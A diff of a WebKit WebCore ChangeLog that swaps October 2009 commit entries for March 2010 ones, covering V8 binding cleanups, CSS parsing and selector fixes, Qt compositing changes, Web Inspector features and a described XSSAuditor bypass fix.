-        (https://bugs.webkit.org/show_bug.cgi?id=30427)
-        
-        Remove no longer needed methods from ChromiumDataObject.
+        [V8] Turn npObjectTypeInfo into a function, make everyone happy.
 
-        No new tests (no functional change)
+        * bindings/v8/NPV8Object.cpp:
+        (WebCore::npObjectTypeInfo): Added new function.
+        (npCreateV8ScriptObject):
+        * bindings/v8/NPV8Object.h: Turned npObjectTypeInfo into function.
+        * bindings/v8/V8NPObject.cpp: Replaced references to function
 
-        * platform/chromium/ChromiumDataObject.h:
+2010-03-18  David Hyatt  <hyatt@apple.com>
 
-2009-10-15  Daniel Bates  <dbates@webkit.org>
+        Reviewed by Simon Fraser.
 
-        No review, rolling out r49644.
-        http://trac.webkit.org/changeset/49644
+        https://bugs.webkit.org/show_bug.cgi?id=36283
         
-        We need to think about this change some more. See bug #30418 
-        for more details.
-
-        * page/XSSAuditor.cpp:
-        (WebCore::XSSAuditor::canEvaluate):
-        (WebCore::XSSAuditor::canEvaluateJavaScriptURL):
-        (WebCore::XSSAuditor::canCreateInlineEventListener):
-        (WebCore::XSSAuditor::canLoadExternalScriptFromSrc):
-        (WebCore::XSSAuditor::canLoadObject):
-        (WebCore::XSSAuditor::canSetBaseElementURL):
-        (WebCore::XSSAuditor::findInRequest):
-        * page/XSSAuditor.h:
-
-2009-10-14  Jon Honeycutt  <jhoneycutt@apple.com>
-
-        Add SPI to determine whether a node is a halted plug-in.
+        The wrong constants were being used for the code that attempted to compact the background-repeat shorthand to
+        a single value.
 
-        Part of <rdar://problem/7273354> Halted plug-ins should restart on
-        mouseover
+        Added fast/backgrounds/background-repeat-computed-style.html
 
-        https://bugs.webkit.org/show_bug.cgi?id=30151
-
-        Reviewed by Darin Adler.
-
-        * plugins/PluginView.cpp:
-        (WebCore::PluginView::PluginView):
-        Initialize m_isHalted.
-
-        * plugins/PluginView.h:
-        (WebCore::PluginView::isHalted):
-        Return m_isHalted.
-
-        * plugins/win/PluginViewWin.cpp:
-        (WebCore::PluginView::halt):
-        Set m_isHalted to true.
-        (WebCore::PluginView::restart):
-        clear m_isHalted.
-
-2009-10-15  Zoltan Horvath  <zoltan@webkit.org>
-
-        Reviewed by Oliver Hunt.
-
-        [Qt] Build fix for QtWebKit after r49649.
-
-        Change JSC::HasNonDefaultMark to OverridesMarkChildren in createStructure function.
-
-        * bridge/qt/qt_runtime.h:
-        (JSC::Bindings::QtRuntimeMethod::createStructure):
-
-2009-10-15  Pavel Feldman  <pfeldman@chromium.org>
-
-        Not reviewed - build fix.
-
-        Web Inspector: add file missing in r49648
-
-        * inspector/front-end/TestController.js: Added.
-        (WebInspector.TestController):
-        (WebInspector.TestController.prototype.waitUntilDone):
-        (WebInspector.TestController.prototype.notifyDone):
-        (WebInspector.evaluateForTestInFrontend):
+        * css/CSSComputedStyleDeclaration.cpp:
+        (WebCore::fillRepeatToCSSValue):
 
-2009-10-15  Oliver Hunt  <oliver@apple.com>
+2010-03-18  Simon Fraser  <simon.fraser@apple.com>
 
-        Reviewed by Darin Adler.
+        Reviewed by Dave Hyatt.
 
-        Make typeinfo flags default to false
-        https://bugs.webkit.org/show_bug.cgi?id=30372
+        https://bugs.webkit.org/show_bug.cgi?id=36273
+        CSS3 :indeterminate and input type=radio test fails
 
-        Part 2 -- Reverse the TypeInfo HasDefaultMark flag to OverridesMarkChildren, etc
+        The :indeterminate pseudo-class should apply to both radio buttons and checkboxes.
 
-        * bindings/js/JSDOMBinding.h:
-        (WebCore::DOMObjectWithGlobalPointer::createStructure):
-        (WebCore::DOMConstructorObject::createStructure):
-        * bindings/js/JSDOMWindowShell.h:
-        (WebCore::JSDOMWindowShell::createStructure):
-        * bindings/js/JSHTMLAllCollection.h:
-        (WebCore::JSHTMLAllCollection::createStructure):
-        * bindings/js/JSQuarantinedObjectWrapper.h:
-        (WebCore::JSQuarantinedObjectWrapper::createStructure):
-        * bindings/scripts/CodeGeneratorJS.pm:
-        * bridge/qt/qt_runtime.h:
-        (JSC::Bindings::QtRuntimeMethod::createStructure):
-        * bridge/runtime_method.h:
-        (JSC::RuntimeMethod::createStructure):
+        * html/HTMLInputElement.cpp:
+        (WebCore::HTMLInputElement::setIndeterminate): Use allowsIndeterminate() to determine if the input
+        supports the indeterminate state.
+        (WebCore::HTMLInputElement::preDispatchEventHandler): Use allowsIndeterminate() to determine whether
+        to handle the indeterminate state.
+        (WebCore::HTMLInputElement::postDispatchEventHandler): Ditto.
+        * html/HTMLInputElement.h:
+        (WebCore::HTMLInputElement::allowsIndeterminate): New utility method, returns true for radio buttons
+        and checkboxes.
 
-2009-10-15  Pavel Feldman  <pfeldman@chromium.org>
+2010-03-18  Simon Fraser  <simon.fraser@apple.com>
 
-        Reviewed by Timothy Hatcher.
+        Reviewed by Dave Hyatt.
 
-        Web Inspector: introduce test controller with waitUntilDone
-        on frontend side.
+        https://bugs.webkit.org/show_bug.cgi?id=36271
+        CSS3 :enabled on an input type=hidden element fails
+        
+        The CSS3 selectors spec now makes it clear that hidden inputs should respect
+        the :enabled and :disabled pseudo-classes.
 
-        https://bugs.webkit.org/show_bug.cgi?id=30400
+        Test: fast/forms/hidden-input-enabled.html
 
-        * WebCore.gypi:
-        * WebCore.vcproj/WebCore.vcproj:
-        * inspector/front-end/TestController.js: Added.
-        (WebInspector.TestController):
-        (WebInspector.TestController.prototype.waitUntilDone):
-        (WebInspector.TestController.prototype.notifyDone):
-        (WebInspector.evaluateForTestInFrontend):
-        * inspector/front-end/WebKit.qrc:
-        * inspector/front-end/inspector.html:
-        * inspector/front-end/inspector.js:
+        * css/CSSStyleSelector.cpp:
+        (WebCore::CSSStyleSelector::SelectorChecker::checkOneSelector): Remove checks for hidden inputs.
 
-2009-10-15  Daniel Bates  <dbates@webkit.org>
+2010-03-18  Enrica Casucci  <enrica@apple.com>
 
-        Reviewed by Adam Barth.
+        Reviewed by Simon Fraser.
 
-        https://bugs.webkit.org/show_bug.cgi?id=27895
+        Intro text at Star Wars demo is clipped.
+        <rdar://problem/7560979>
+        https://bugs.webkit.org/show_bug.cgi?id=33909
         
-        Fixes an issue in which injecting an inline event handler whose value ends in a single-line
-        JavaScript comment can bypass the XSSAuditor. Similarly fixes this issue with respect to
-        the HTML Base element, HTML Object element, inline and external script tags, and
-        JavaScript multi-line variants of all of these attacks.
-
-        Tests: http/tests/security/xssAuditor/base-href-comment.html
-               http/tests/security/xssAuditor/iframe-javascript-url-comment.html
-               http/tests/security/xssAuditor/img-onerror-HTML-comment.html
-               http/tests/security/xssAuditor/img-onerror-comment.html
-               http/tests/security/xssAuditor/object-tag-comment.html
-               http/tests/security/xssAuditor/script-tag-comment-HTML-entity.html
-               http/tests/security/xssAuditor/script-tag-comment.html
-               http/tests/security/xssAuditor/script-tag-with-source-comment.html
-
-        * page/XSSAuditor.cpp: Added constant minAttackLength.
-        (WebCore::XSSAuditor::canEvaluate):
-        (WebCore::XSSAuditor::canEvaluateJavaScriptURL):
-        (WebCore::XSSAuditor::canCreateInlineEventListener):
-        (WebCore::XSSAuditor::canLoadExternalScriptFromSrc):
-        (WebCore::XSSAuditor::canLoadObject):
-        (WebCore::XSSAuditor::canSetBaseElementURL):
-        (WebCore::XSSAuditor::findInRequest): Added parameter context. Only looks at up 
-        to minAttackLength of script code plus context (if any).
-        * page/XSSAuditor.h:
-
-2009-10-08  Adam Langley  <agl@google.com>
-
-        Reviewed by Eric Seidel.
+        Test: compositing/repaint/layer-repaint.html
+        
+        We are flipping the coordinates for drawing, therefore
+        we must flip them also when we invalidate the rectangles.
 
-        Currently, Skia clip paths are 1-bit. This patch makes our path
-        clipping anti-aliased for non-canvas drawing.
+        * platform/graphics/win/GraphicsLayerCACF.cpp:
+        (WebCore::WebLayer::setNeedsDisplay):
 
-        http://code.google.com/p/chromium/issues/detail?id=5927
-        https://bugs.webkit.org/show_bug.cgi?id=28820
-        http://www.imperialviolet.org/2009/09/02/anti-aliased-clipping.html
+2010-03-18  Nate Chapin  <japhet@chromium.org>
 
-        Already covered by layout tests. New baselines will be needed in the
-        Chromium tree.
+        Unreviewed, Chromium build fix.
 
-        (Reland. First landed in r49329, reverted in r49330 due to Windows
-        build break)
+        Missed a #include in V8Collection.h.
 
-        * html/canvas/CanvasRenderingContext2D.cpp:
-        (WebCore::CanvasRenderingContext2D::clip):
-        * platform/graphics/GraphicsContext.h:
-        * platform/graphics/cairo/GraphicsContextCairo.cpp:
-        (WebCore::GraphicsContext::canvasClip):
-        * platform/graphics/cg/GraphicsContextCG.cpp:
-        (WebCore::GraphicsContext::canvasClip):
-        * platform/graphics/haiku/GraphicsContextHaiku.cpp:
-        (WebCore::GraphicsContext::canvasClip):
-        * platform/graphics/qt/GraphicsContextQt.cpp:
-        (WebCore::GraphicsContext::canvasClip):
-        * platform/graphics/skia/GraphicsContextSkia.cpp:
-        (WebCore::GraphicsContext::addInnerRoundedRectClip):
-        (WebCore::GraphicsContext::clip):
-        (WebCore::GraphicsContext::canvasClip):
-        (WebCore::GraphicsContext::clipPath):
-        * platform/graphics/skia/PlatformContextSkia.cpp:
-        (PlatformContextSkia::clipPathAntiAliased):
-        (PlatformContextSkia::restore):
-        (PlatformContextSkia::applyAntiAliasedClipPaths):
-        * platform/graphics/skia/PlatformContextSkia.h:
-        * platform/graphics/win/GraphicsContextWin.cpp:
-        (WebCore::GraphicsContext::canvasClip):
-        * platform/graphics/wince/GraphicsContextWince.cpp:
-        (WebCore::GraphicsContext::canvasClip):
-        * platform/graphics/wx/GraphicsContextWx.cpp:
-        (WebCore::GraphicsContext::canvasClip):
+        * bindings/v8/V8Collection.h:
 
-2009-10-15  Eric Carlson  <eric.carlson@apple.com>
+2010-03-18  David Hyatt  <hyatt@apple.com>
 
         Reviewed by Simon Fraser.
 
-        <rdar://problem/7295738> No way to mute/unmute a movie in full screen video mode
-
-        * WebCore.Video.exp: Export muted and setMute.
+        Fix for https://bugs.webkit.org/show_bug.cgi?id=36284.
+        
+        Make sure the CSS parser properly rejects negative border widths.
 
-2009-10-15  Simon Fraser  <simon.fraser@apple.com>
+        Added fast/borders/negative-border-width.html
 
-        Reviewed by Dan Bernstein.
+        * css/CSSParser.cpp:
+        (WebCore::CSSParser::parseValue):
 
-        Transitions fail to run sometimes
-        https://bugs.webkit.org/show_bug.cgi?id=26770
+2010-03-18  Nate Chapin  <japhet@chromium.org>
 
-        Fix an issue where we could attempt to start accelerated animations or transitions on
-        GraphicsLayer that were not rooted (because of visibility:hidden), which would leave
-        the AnimationController's m_waitingForResponse flag in a state that killed subsequent
-        software transitions.
+        Reviewed by Dimitri Glazkov.
 
-        * page/animation/AnimationController.cpp:
-        (WebCore::AnimationControllerPrivate::AnimationControllerPrivate):
-        (WebCore::AnimationControllerPrivate::endAnimationUpdate):
-        (WebCore::AnimationControllerPrivate::receivedStartTimeResponse):
-        (WebCore::AnimationControllerPrivate::addToStartTimeResponseWaitList):
-        (WebCore::AnimationControllerPrivate::startTimeResponse):
-        * page/animation/AnimationControllerPrivate.h:
-        Make some methods non-inline for ease of debugging (these are not hot methods).
-        Rename m_waitingForAResponse to m_waitingForResponse.
+        [V8] Remove V8Index.h and all references to V8ClassIndex.
         
-        * platform/graphics/GraphicsLayer.h:
-        * platform/graphics/GraphicsLayer.cpp:
-        (WebCore::GraphicsLayer::hasAncestor):
-        New method to report whether the receiver has the given layer as an ancestor. Used for checking
-        whether a layer is rooted.
+        https://bugs.webkit.org/show_bug.cgi?id=33477
 
-        * rendering/RenderLayerBacking.cpp:
-        (WebCore::RenderLayerBacking::startAnimation):
-        (WebCore::RenderLayerBacking::startTransition):
-        Don't try to start accelerated animations or transitions on non-rooted GraphicsLayers.
+        * WebCore.gypi:
+        * bindings/scripts/CodeGeneratorV8.pm:
+        * bindings/v8/NPV8Object.cpp:
+        * bindings/v8/NPV8Object.h:
+        * bindings/v8/V8Collection.h:
+        * bindings/v8/V8DOMWindowShell.cpp:
+        * bindings/v8/V8DOMWindowShell.h:
+        * bindings/v8/V8DOMWrapper.cpp:
+        * bindings/v8/V8DOMWrapper.h:
+        * bindings/v8/V8GCController.cpp:
+        * bindings/v8/V8Helpers.cpp:
+        * bindings/v8/V8Index.h: Removed.
+        * bindings/v8/V8IsolatedContext.h:
+        * bindings/v8/V8NPObject.cpp:
+        * bindings/v8/V8Proxy.cpp:
+        * bindings/v8/V8Proxy.h:
+        * bindings/v8/V8SVGPODTypeWrapper.h:
+        * bindings/v8/WorkerContextExecutionProxy.cpp:
+        * bindings/v8/WorkerContextExecutionProxy.h:
+        * bindings/v8/WrapperTypeInfo.h: Move WrapperTypeInfo struct into its own file from V8Index.h.
+        * bindings/v8/custom/V8CanvasRenderingContext2DCustom.cpp:
+        * bindings/v8/custom/V8DOMWindowCustom.cpp:
+        * bindings/v8/custom/V8EventSourceConstructor.cpp:
+        * bindings/v8/custom/V8HTMLAudioElementConstructor.cpp:
+        * bindings/v8/custom/V8HTMLAudioElementConstructor.h:
+        * bindings/v8/custom/V8HTMLImageElementConstructor.cpp:
+        * bindings/v8/custom/V8HTMLImageElementConstructor.h:
+        * bindings/v8/custom/V8HTMLOptionElementConstructor.cpp:
+        * bindings/v8/custom/V8HTMLOptionElementConstructor.h:
+        * bindings/v8/custom/V8HistoryCustom.cpp:
+        * bindings/v8/custom/V8LocationCustom.cpp:
+        * bindings/v8/custom/V8WebGLArrayCustom.h:
+        * bindings/v8/custom/V8WebGLByteArrayCustom.cpp:
+        * bindings/v8/custom/V8WebGLFloatArrayCustom.cpp:
+        * bindings/v8/custom/V8WebGLIntArrayCustom.cpp:
+        * bindings/v8/custom/V8WebGLRenderingContextCustom.cpp:
+        * bindings/v8/custom/V8WebGLShortArrayCustom.cpp:
+        * bindings/v8/custom/V8WebGLUnsignedByteArrayCustom.cpp:
+        * bindings/v8/custom/V8WebGLUnsignedIntArrayCustom.cpp:
+        * bindings/v8/custom/V8WebGLUnsignedShortArrayCustom.cpp:
+        * bindings/v8/custom/V8WebKitPointConstructor.cpp:
 
-2009-10-15  Alexander Pavlov  <apavlov@chromium.org>
+2010-03-18  Yury Semikhatsky  <yurys@chromium.org>
 
         Reviewed by Pavel Feldman.
 
-        Refactor ProfilesPanel to support multiple profile types
-
-        Data describing different profile types are now stored in distinct objects.
-        https://bugs.webkit.org/show_bug.cgi?id=30332
-
-        * WebCore.vcproj/WebCore.vcproj:
-        * inspector/front-end/ProfileView.js:
-        (WebInspector.CPUProfileView.profileCallback):
-        (WebInspector.CPUProfileView):
-        (WebInspector.CPUProfileView.prototype._sortData):
-        (WebInspector.CPUProfileType):
-        (WebInspector.CPUProfileType.prototype.get buttonTooltip):
-        (WebInspector.CPUProfileType.prototype.get buttonStyle):
-        (WebInspector.CPUProfileType.prototype.buttonClicked):
-        (WebInspector.CPUProfileType.prototype.setRecordingProfile):
-        (WebInspector.CPUProfile):
-        (WebInspector.CPUProfile.prototype.get title):
-        (WebInspector.CPUProfile.prototype.get uid):
-        (WebInspector.CPUProfile.prototype.get head):
-        (WebInspector.CPUProfile.prototype.createView):
-        (WebInspector.CPUProfile.prototype.viewForProfile):
-        * inspector/front-end/ProfilesPanel.js:
-        (WebInspector.ProfileType):
-        (WebInspector.ProfileType.prototype.get buttonTooltip):
-        (WebInspector.ProfileType.prototype.get buttonStyle):
-        (WebInspector.ProfileType.prototype.get buttonCaption):
-        (WebInspector.ProfileType.prototype.get id):
-        (WebInspector.ProfileType.prototype.get name):
-        (WebInspector.ProfileType.prototype.buttonClicked):
-        (WebInspector.ProfilesPanel):
-        (WebInspector.ProfilesPanel.prototype.get statusBarItems.clickHandler):
-        (WebInspector.ProfilesPanel.prototype.get statusBarItems):
-        (WebInspector.ProfilesPanel.prototype.reset):
-        (WebInspector.ProfilesPanel.prototype.registerProfileType):
-        (WebInspector.ProfilesPanel.prototype._makeKey):
-        (WebInspector.ProfilesPanel.prototype.addProfileHeader):
-        (WebInspector.ProfilesPanel.prototype.showProfile):
-        (WebInspector.ProfilesPanel.prototype.getProfileType):
-        (WebInspector.ProfilesPanel.prototype.showProfileForURL):
-        (WebInspector.ProfilesPanel.prototype.updateProfileTypeButtons):
-        (WebInspector.ProfilesPanel.prototype.displayTitleForProfileLink):
-        (WebInspector.ProfilesPanel.prototype.get searchableViews):
-        (WebInspector.ProfilesPanel.prototype._updateInterface):
-        * inspector/front-end/inspector.js:
-        (WebInspector._createPanels):
-        (WebInspector.documentClick.followLink):
-        (WebInspector.documentClick):
-        (WebInspector.addProfileHeader):
-        (WebInspector.setRecordingProfile):
-        (WebInspector.linkifyStringAsFragment):
-        (WebInspector.showProfileForURL):
+        Preserve console history between debugging sessions.
 
-2009-10-15  Pavel Feldman  <pfeldman@chromium.org>
+        https://bugs.webkit.org/show_bug.cgi?id=36223
 
-        Reviewed by Timothy Hatcher.
-
-        Web Inspector: Enable inspector layout tests.
-
-        https://bugs.webkit.org/show_bug.cgi?id=30014
-
-        * inspector/InspectorController.cpp:
-        (WebCore::InspectorController::evaluateForTestInFrontend):
-
-2009-10-15  Philippe Normand  <pnormand@igalia.com>
-
-        Reviewed by Gustavo Noronha.
+        * inspector/front-end/ConsoleView.js:
+        (WebInspector.ConsoleView.prototype._settingsLoaded):
+        (WebInspector.ConsoleView.prototype._enterKeyPressed.printResult):
+        (WebInspector.ConsoleView.prototype._enterKeyPressed):
+        * inspector/front-end/Settings.js:
+        (WebInspector.Settings.prototype._load):
 
-        [GStreamer] READY state doesn't mean "enough data"
-        https://bugs.webkit.org/show_bug.cgi?id=30003
+2010-03-18  Kim Grönholm  <kim.gronholm@nomovok.com>
 
-        STATE_READY means MediaPlayer::HaveNothing
+        Reviewed by Simon Hausmann.
 
-        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
-        (WebCore::MediaPlayerPrivate::updateStates):
+        [Qt] GraphicsLayer: Pausing and resuming of animations don't work as expected
+        https://bugs.webkit.org/show_bug.cgi?id=36219
+        
+        addAnimation and pauseAnimation were handling animation state changes in
+        the wrong way.
+        Apparently WebCore calls addAnimation for resuming, so we have to make 
+        sure to resume an existing animation if that happens. Also, timeOffset 
+        is now used for synchronization of the Qt animation clock with the 
+        WebCore clock, as opposed to using it as a delay timer. 
+        Both those fixes were necessary to get the layout test to work.
+        
+        LayoutTests/animations/play-state.html now passed on Qt.
 
-2009-10-15  Philippe Normand  <pnormand@igalia.com>
+        * platform/graphics/qt/GraphicsLayerQt.cpp:
+        (WebCore::AnimationQtBase::AnimationQtBase):
+        (WebCore::TransformAnimationQt::updateState):
+        (WebCore::GraphicsLayerQt::addAnimation):
+        (WebCore::GraphicsLayerQt::pauseAnimation):
 
-        Reviewed by Gustavo Noronha.
+2010-03-18  Adam Langley  <agl@chromium.org>
 
-        https://bugs.webkit.org/show_bug.cgi?id=30002
+        Reviewed by David Levin.
 
-        implement cancelLoad
+        [chromium] Fix inverted logic in per-strike renderer patch.
 
-        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
-        (WebCore::MediaPlayerPrivate::cancelLoad):
+        I screwed up in r55089 and got one of the conditions backwards. Thanks
+        to Roman Tsisyk for pointing it out.
 
-2009-10-15  Sebastian Dröge  <sebastian.droege@collabora.co.uk>
+        https://bugs.webkit.org/show_bug.cgi?id=35495
 
-        Reviewed by Gustavo Noronha.
+        Test: platform/chromium/fast/text/chromium-linux-fontconfig-renderstyle.html
 
-        https://bugs.webkit.org/show_bug.cgi?id=30353
-        
-        Fix race condition, leading to a deadlock
+        * platform/graphics/chromium/FontPlatformDataLinux.cpp:
+        (WebCore::FontPlatformData::querySystemForRenderStyle):
 
-        * platform/graphics/gtk/VideoSinkGStreamer.cpp:
-        (webkit_video_sink_timeout_func):
-        (webkit_video_sink_render):
-        (unlock_buffer_mutex):
-        (webkit_video_sink_unlock):
-        (webkit_video_sink_unlock_stop):
-        (webkit_video_sink_stop):
-        (webkit_video_sink_start):
-        (webkit_video_sink_class_init):
-        Fix race condition in unlock/render that would lead to deadlocks.
+2010-03-18  Pavel Feldman  <pfeldman@chromium.org>
 
-2009-10-15  Sebastian Dröge  <sebastian.droege@collabora.co.uk>
+        Reviewed by Timothy Hatcher.
 
-        Reviewed by Gustavo Noronha.
+        Web Inspector: Show inherited styles for a selected DOM element
 
-        https://bugs.webkit.org/show_bug.cgi?id=30374
-        
-        Check if caps are valid before parsing them
+        https://bugs.webkit.org/show_bug.cgi?id=28039
 
-        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
-        (WebCore::MediaPlayerPrivate::duration):
-        Check if caps are valid before parsing them in ::naturalSize().
-        This prevents assertions if the natural size should be calculated
-        before the video caps are negotiated.
+        * English.lproj/localizedStrings.js:
+        * inspector/InspectorDOMAgent.cpp:
+        (WebCore::InspectorDOMAgent::getStyles):
+        (WebCore::InspectorDOMAgent::populateObjectWithStyleProperties):
+        * inspector/front-end/DOMAgent.js:
+        (WebInspector.CSSStyleDeclaration):
+        * inspector/front-end/StylesSidebarPane.js:
+        (WebInspector.StylesSidebarPane.prototype._update):
+        (WebInspector.StylesSidebarPane.prototype._containsInherited):
+        (WebInspector.StylePropertiesSection):
+        (WebInspector.StylePropertiesSection.prototype.isPropertyInherited):
+        (WebInspector.StylePropertiesSection.prototype.onpopulate):
 
-2009-10-15  Philippe Normand  <pnormand@igalia.com>
+2010-03-15  Antonio Gomes  <tonikitoo@webkit.org>
 
         Reviewed by Gustavo Noronha.
+        Patch by Antonio Gomes <tonikitoo@webkit.org>
 
-        https://bugs.webkit.org/show_bug.cgi?id=30006
-        [GStreamer] Unnecessary checks for Messages types in callbacks
+        Spatial Navigation: Add isNull() and document() convenience methods to FocusCandidate.
+        https://bugs.webkit.org/show_bug.cgi?id=36167
 
-        refactored gst message callbacks into a single one
+        It turns out that Spatial Navigation related code (in FocusController.cpp for
+        instance) can be simplified and look better if FocusCandidate class offer some
+        convenience method. This patch introduces a couple of them (isNull and a Document
+        getter). It also adds another constructor that receives a Node as parameter.
 
-        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
-        (WebCore::mediaPlayerPrivateMessageCallback):
-        (WebCore::do_gst_init):
-        (WebCore::MediaPlayerPrivate::duration):
-        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.h:
-
-2009-10-15  Shu Chang  <Chang.Shu@nokia.com>
-
-        Reviewed by Adele Peterson.
+        A followup refactoring patch will be making use of these helper methods.
 
-        Anchor elements should be mouse focusable regardless isLink flag.
-        https://bugs.webkit.org/show_bug.cgi?id=26856
+        * page/SpatialNavigation.h:
+        (WebCore::FocusCandidate::FocusCandidate): Added a "Node*" parameter
+        to FocusCandidate's constructor.
+        (WebCore::FocusCandidate::isNull): In the Spatial Navigation logic, a NULL
+        FocusCandidate object is one that does not hold a valid reference to a "Node*".
+        (WebCore::FocusCandidate::document): This method returns a pointer for the FocusCandidate
+        node's document, if |node| is a valid pointer.
 
-        * html/HTMLAnchorElement.cpp:
-        * html/HTMLAnchorElement.h:
+2010-03-18  Noam Rosenthal  <noam.rosenthal@nokia.com>
 
-2009-10-15  Nikolas Zimmermann  <nzimmermann@rim.com>
+        Reviewed by Antti Koivisto.
 
-        Not reviewed. Sort XCode project file.
+        [Qt] [Performance] GraphicsLayerQt updates the scene too often
+        https://bugs.webkit.org/show_bug.cgi?id=36158
+
+        This fix makes sure that flushChanges is only called when necessary,
+        by calling the notifySync function asynchronously, which makes sure flushChanges() is called
+        after the WebCore compositor has made all its changes.
+
+        This has shown a visual improvement on several test-cases.
+
+        * Makefile:
+        * platform/graphics/qt/GraphicsLayerQt.cpp:
+        (WebCore::GraphicsLayerQtImpl::):
+        (WebCore::GraphicsLayerQtImpl::notifySyncRequired):
+        (WebCore::GraphicsLayerQtImpl::notifyChange):
+        (WebCore::GraphicsLayerQtImpl::flushChanges):
+        (WebCore::GraphicsLayerQt::setMaskLayer):
+        (WebCore::GraphicsLayerQt::setPosition):
+        (WebCore::GraphicsLayerQt::setAnchorPoint):
+        (WebCore::GraphicsLayerQt::setSize):
+        (WebCore::GraphicsLayerQt::setTransform):
+        (WebCore::GraphicsLayerQt::setChildrenTransform):
+        (WebCore::GraphicsLayerQt::setPreserves3D):
+        (WebCore::GraphicsLayerQt::setMasksToBounds):
+        (WebCore::GraphicsLayerQt::setDrawsContent):
+        (WebCore::GraphicsLayerQt::setBackgroundColor):
+        (WebCore::GraphicsLayerQt::clearBackgroundColor):
+        (WebCore::GraphicsLayerQt::setContentsOpaque):
+        (WebCore::GraphicsLayerQt::setBackfaceVisibility):
+        (WebCore::GraphicsLayerQt::setOpacity):
+        (WebCore::GraphicsLayerQt::setContentsRect):
+
+2010-03-18  Stephen White  <senorblanco@chromium.org>
 
-        * WebCore.xcodeproj/project.pbxproj:
+        Reviewed by Oliver Hunt.
 
-2009-10-15  Yury Semikhatsky  <yurys@chromium.org>
+        Parsing of rgb() colors in HTML canvas is still fairly slow.
+        findNamedColor() was showing up as hot, so this patch attempts to
+        avoid calling it by putting the rgb() check ahead of the named
+        colors.  It also removes a call to Color::Color() from
+        CanvasStyle, which was doing a redundant check for the hex
+        color and named colors, which CSSParser already does.  Finally, it
+        changes the ad-hoc parser to check for negative values, and clamps them
+        at zero.  This avoids the lex/yacc path for rgb() colors with
+        negative color components.
 
-        Reviewed by Dave Hyatt.
+        https://bugs.webkit.org/show_bug.cgi?id=36199
 
-        Return correct shorthand property name for 
-        background-repeat-x, background-repeat-y, background-position-x,
-        background-position-y, -webkit-mask-position-x, -webkit-mask-position-y,
-        -webkit-mask-repeat-x, -webkit-mask-repeat-y.
+        Covered by fast/canvas/set-colors.html.
 
-        https://bugs.webkit.org/show_bug.cgi?id=28972
+        * css/CSSParser.cpp:
+        (WebCore::parseInt):
+        (WebCore::CSSParser::parseColor):
+        * html/canvas/CanvasStyle.cpp:
+        (WebCore::CanvasStyle::applyFillColor):
 
-        Test: fast/backgrounds/repeat/background-repeat-shorthand.html
+2010-03-18  David Kilzer  <ddkilzer@apple.com>
 
-        * css/CSSParser.cpp:
-        (WebCore::CSSParser::parseValue):
+        <http://webkit.org/b/36246> Node::removeAllEventListenersSlowCase is declared but not used
 
-2009-10-14  Mikhail Naganov  <mnaganov@chromium.org>
+        Reviewed by Sam Weinig.
 
-        Reviewed by Pavel Feldman.
+        * dom/Node.h:
+        (WebCore::Node::removeAllEventListenersSlowCase): Removed
+        declaration.  Implementation was removed in r48701.
 
-        Web Inspector: Migrate profiles to the injected script-based schema.
+2010-03-17  Stephan Aßmus  <superstippi@gmx.de>
 
-        https://bugs.webkit.org/show_bug.cgi?id=30328
+        Reviewed by Oliver Hunt.
 
-        * bindings/js/JSInspectorBackendCustom.cpp:
-        * bindings/v8/custom/V8CustomBinding.h:
-        * inspector/InspectorBackend.cpp:
-        (WebCore::InspectorBackend::getProfileHeaders):
-        (WebCore::InspectorBackend::getProfile):
-        * inspector/InspectorBackend.h:
-        * inspector/InspectorBackend.idl:
-        * inspector/InspectorController.cpp:
-        (WebCore::InspectorController::addProfile):
-        (WebCore::InspectorController::getProfileHeaders):
-        (WebCore::InspectorController::getProfile):
-        (WebCore::InspectorController::createProfileHeader):
-        * inspector/InspectorController.h:
-        * inspector/InspectorFrontend.cpp:
-        (WebCore::InspectorFrontend::addProfileHeader):
-        (WebCore::InspectorFrontend::didGetProfileHeaders):
-        (WebCore::InspectorFrontend::didGetProfile):
-        * inspector/InspectorFrontend.h:
-        * inspector/JavaScriptProfileNode.cpp:
-        (WebCore::ProfileNodeClass):
-        * inspector/front-end/ProfileView.js:
-        (WebInspector.ProfileView.profileCallback):
-        (WebInspector.ProfileView):
-        (WebInspector.ProfileView.prototype._mouseDownInDataGrid):
-        (WebInspector.ProfileView.prototype._assignParentsInProfile):
-        * inspector/front-end/ProfilesPanel.js:
-        (WebInspector.ProfilesPanel.prototype.addProfileHeader):
-        * inspector/front-end/inspector.js:
-        (WebInspector.addProfileHeader):
+        [Haiku] Implement ImageBuffer support
+        https://bugs.webkit.org/show_bug.cgi?id=35288
 
-2009-10-14  Pavel Feldman  <pfeldman@chromium.org>
+        Covered by existing tests.
 
-        Reviewed by Timothy Hatcher.
+        The StillImage class implements WebCore::Image by wrapping a native
+        BBitmap. It will be needed to implement WebCore::ImageBuffer. This
+        solution is just like it's done in the Qt port.
 
-        Web Inspector: Create and update frontend script objects only when
-        web inspector is visible.
+        * platform/graphics/haiku/StillImageHaiku.cpp: Added.
+        (WebCore::StillImage::StillImage):
+        (WebCore::StillImage::destroyDecodedData):
+        (WebCore::StillImage::decodedSize):
+        (WebCore::StillImage::size):
+        (WebCore::StillImage::nativeImageForCurrentFrame):
+        (WebCore::StillImage::draw):
+        * platform/graphics/haiku/StillImageHaiku.h: Added.
+        (WebCore::StillImage::create):
 
-        https://bugs.webkit.org/show_bug.cgi?id=30376
+2010-03-17  Holger Hans Peter Freyther  <zecke@selfish.org>
 
-        * inspector/InspectorController.cpp:
-        (WebCore::InspectorController::addConsoleMessage):
-        (WebCore::InspectorController::populateScriptObjects):
-        (WebCore::InspectorController::pruneResources):
-        (WebCore::InspectorController::didCommitLoad):
-        (WebCore::InspectorController::didLoadResourceFromMemoryCache):
-        (WebCore::InspectorController::identifierForInitialRequest):
-        (WebCore::InspectorController::mainResourceFiredDOMContentEvent):
-        (WebCore::InspectorController::mainResourceFiredLoadEvent):
-        (WebCore::InspectorController::willSendRequest):
-        (WebCore::InspectorController::didReceiveResponse):
-        (WebCore::InspectorController::didReceiveContentLength):
-        (WebCore::InspectorController::didFinishLoading):
-        (WebCore::InspectorController::didFailLoading):
-        (WebCore::InspectorController::resourceRetrievedByXMLHttpRequest):
-        (WebCore::InspectorController::scriptImported):
-        (WebCore::InspectorController::didOpenDatabase):
-        (WebCore::InspectorController::didUseDOMStorage):
